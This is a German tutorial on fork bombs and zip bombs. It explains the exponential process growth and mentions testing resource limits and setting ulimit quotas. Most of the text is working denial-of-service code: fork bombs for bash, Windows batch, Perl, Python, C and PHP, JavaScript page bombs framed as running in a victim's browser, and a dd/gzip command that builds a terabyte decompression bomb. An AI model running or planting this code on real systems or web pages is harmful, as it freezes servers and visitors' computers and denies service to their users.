Die Fork-Bombe

Eine Fork-Bombe ist ein Programm, das lediglich rekursiv Kopien seiner selbst startet und so mit der Zeit alle verfügbaren Systemressourcen verbraucht. Damit ist das System blockiert, da jedesmal wieder eon Prozess gestartet wird, sobald ein anderer Prozess endet.

Unter Unix/Linux geschieht das im einfachsten Fall mit dem Aufruf des Systemcalls fork() in einer Endlosschleife - daher der Name. Der Code einer Fork-Bombe folgt immer dem Muster:

Boembchen() 
  {
  Call Boembchen;
  Call Boembchen;
  Warte bis Boembchen beendet wurde;
  }
Hier ruft Boembchen sogar zwei Kopien seiner selbst auf und wartet, bis sie wieder beendet wurden. Dies geschieht jedoch nie, weil die Kopien ja ihrerseits weitere Boembchen erzeugen. Aus einem Programmaufruf werden so 2, 4, 8, 16 usw. Nach nur 20 Aufruf-Zyklen sind bereits über eine Million Kopien gestartet und aktiv (allgemein: nach n Zyklen 2n Prozesse). Selbst wenn die Boembchen keinen weiteren Code enthalten, verbrauchen sie Platz in der Prozesstabelle, CPU-Zeit und Speicher. Ein normales Arbeiten ist bereits Sekunden nach Aufruf der Fork-Bombe nicht mehr möglich.

Unter Unix/Linux geht so etwas ganz einfach auf der Shell, zum Beispiel als sogenannte Shellfuntion. Und weil bei Unix auch ziemlich schräge Datei- und Funktionsnamen wie beispielsweise "..." oder ":" möglich sind, verschleiert man das Ganze noch etwas. Heraus kommt das bekannteste Muster:

:(){ :|:& };:
Es wird eine Funktion namens ":" erzeugt, die dann das Unheil verbreitet:

Sinnvoll verwendet werden Fork-Bomben zum Testen von Limitierungen. Wurde richtig limitiert, kann eine Fork-Bombe nicht stören; hat ein User keine Limitierungen, z. B. der Superuser, bleibt der Rechner hängen, aber Notfall-Aktionen wie z. B. der Magic System Key Request müssen weiterhin funktionieren. Ein weiteres Anwendungsfeld ist das Überprüfen von Echtzeit-Eigenschaften. Mit einer Fork-Bombe kann man einen Rechner gezielt abstürzen lassen, um beispielsweise Watchdogs zu testen.

Der Effekt einer Fork-Bombe hängt primär von der Konfiguration des Betriebssystems ab. So erlaubt das Setzen von Quotas beispielsweise mittels ulimit oder /etc/security/limits.conf) oder PAM unter Unix/Linux die Begrenzung der Prozessanzahl und des maximal zu verbrauchenden Speichers pro Benutzer.

Das Bombenbasteln beschränkt sich aber nicht auf Unix oder Linux. Hier ein Beispiel für die Windows-Kommandozeile. Sie schreiben den folgenden Code in die Datei "Boembchen.bat" (Batchdatei) und rufen diese dann in der Eingabeaufforderung auf:

:s
start %0
%0|%0
goto s
Die Ähnlichkeit mit der Unix-Version ist unverkennbar.

Auch beim Perl-Interpreter genügt ein Einzeiler:

perl -e "fork while fork" &
Wer es lieber im Python programmiert:
import os

while True: 
     os.fork()
Für die Hardcore-Programmierer in C gibt es gleich zwei Varianten:
#include 
 
int main(void)
  {
  while(1)
    { fork(); fork(); }
  return 0;
  }

Oder mit etwas Ausgabe dazu und etwas gruseligem Code. Wenn man die Anweisung goto start durch exit(1) ersetzt, produziert man massenhaft Zombie-Prozesse:
#include 

int main(void) 
  {
  start:
  while(1) 
    {
    if(!fork()) /* Child-Process */
      {
      putc('.',stdout);
      goto start;
      }
    }
  return 0;
  }
Nun etwas für die Webseitenbastler. Zuerst die ganz einfache PHP-Variante, die den Webseiten-Server ins Nirvana bombt:
<?php
while(true) { pcntl_fork(); }
?>
Das geht natürlich auch auf Clientseite im Browser des Opfers, wenn man Javascript einsetzt, zum Beispiel:
<script> 
while (true) 
  { 
  var w = window.open(); 
  w.document.write(document.documentElement.outerHTML||document.documentElement.innerHTML); 
  }
</script>
Alternativ kann man auch die Timeout-Funktion verwenden. Im Folgenden Beispiel wird von Hand gestartet, aber es lassen sich natürlich alle Events verwenden. Hier eine komplette Seite zum Testen:
<html>
<body>
<a href="#" onclick="die()">Stirb!</a>

<script>
function die () 
  {
  setTimeout(function () {die(); die()}, 0)
  }
</script>
</body>
</html>
Ganz schlicht reicht sogar die Alertbox:
<body onbeforeunload="while(true) alert('Alert-Bombe');">

Eine entfernte Verwandte der Fork-Bombe ist die Zip-Bombe. Es handelt sich um eine komprimierte Datei, die unkomprimiert um ein Vielfaches größer ist. Eine Zip-Bombe ensteht beispielsweise, wenn man das komprimierte Image einer fabrikneuen Festplatte anfertigt, weil diese fast immer nur Nullen oder stark komprimierbare Muster enthält. Ein weit verbreitetes Beispiel finden Sie als 42.zip bei www.unforgettable.dk. Dieses ZIP enthält 16 gezippte Dateien, die aus 16 gezippten Dateien bestehen, die ihrerseits wieder 16 gezippte Dateien enthalten, usw. Die Dateien der letzten Iterationsstufe sind entpackt 4,3 GiByte gross, so dass alles miteinander nach dem Entpacken 4,5 PiByte groß ist. Der Grund für die komplexe Verschachtelung liegt daran, dass Zip keine Dateien größer 4 GiByte verarbeiten kann.

So ein Monster kann man auch kann man unter Linux auch selber basteln:

dd if=/dev/zero bs=1G count=1024 | gzip -9 > monster.gz
Aber Vorsicht: Das Erstellen dieser Datei kann schon mal einen halben Tag dauern. Als Ergebnis erhält man monster.gz, das mit einer Größe unter 1 MiByte recht harmlos wirkt. Bei Auspacken wird aber die neue 1-Terabyte-Platte komplett gefüllt und das Auspacken geht sehr viel flotter vonstatten.

Das folgende Bild zeigt, was einem passiert, wenn man bei Google nach dem Begriff "fork-Bombe" sucht. Die üblichen Werbe-Tools spiegeln den Suchbegriff wieder und bieten ein Produkt dazu an - egal, ob es das wirklich gibt.